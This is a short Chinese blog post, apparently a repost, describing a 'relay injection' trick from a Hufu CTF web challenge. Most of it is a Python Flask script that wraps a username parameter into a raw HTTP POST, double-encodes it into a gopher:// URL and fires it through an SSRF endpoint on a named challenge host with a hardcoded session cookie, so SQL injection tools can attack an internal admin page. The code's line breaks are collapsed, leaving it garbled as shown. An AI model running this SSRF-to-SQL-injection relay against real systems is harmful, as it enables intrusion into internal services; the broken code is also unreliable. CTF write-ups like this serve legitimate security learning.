[SQL注入技巧]配合Python-Flask的中转注入

本文主要是介绍[SQL注入技巧]配合Python-Flask的中转注入，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

以本次虎符CTF为例，我们在进行常规SQL注入的时候，会遇到这几种情况
①常常会因为构造网络请求麻烦
②写tamper嫌麻烦

这时候我们的中转注入就来了，这次的虎符CTF比赛当中有一个Web题需要我们频繁构造gopher去实现POST或者GET请求，这时候如果我们想要实现更自由的SQL注入，便可使用，下面直接放上脚本，请自行理解，一点不难

from flask import Flask,request
from urllib.parse import quote
import requestsdef urlencode(s):res=''for c in s:fuck=hex(ord(c)).split('0x')[1]if len(fuck)==1:fuck='0'+fuckres+="%"+fuckreturn resfuckhtml='''POST /admin.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {length}username={username}&password=129581926211651571912466741651878684928'''.replace("\n","\r\n")
tmpPayload= fuckhtml.split("\r\n")[-1]
tmplength = len(tmpPayload) - len('{username}')url="http://eci-2zehhuwx9m3o88h32zup.cloudeci1.ichunqiu.com/ssrf.php?way=gopher%3A%2F%2F127.0.0.1:80%2F_"app = Flask(__name__)@app.route('/')
def hello_world():username=request.args.get('username')shit=fuckhtml.format(username=username,length=str(tmplength+len(username)))cookies={'PHPSESSID':'qitbcj1puicm4qcpf8oe1fgc17'}page=requests.get(url+urlencode(urlencode(shit)),proxies={'http':'http://127.0.0.1:8081'},cookies=cookies).textreturn pageif __name__ == '__main__':app.run()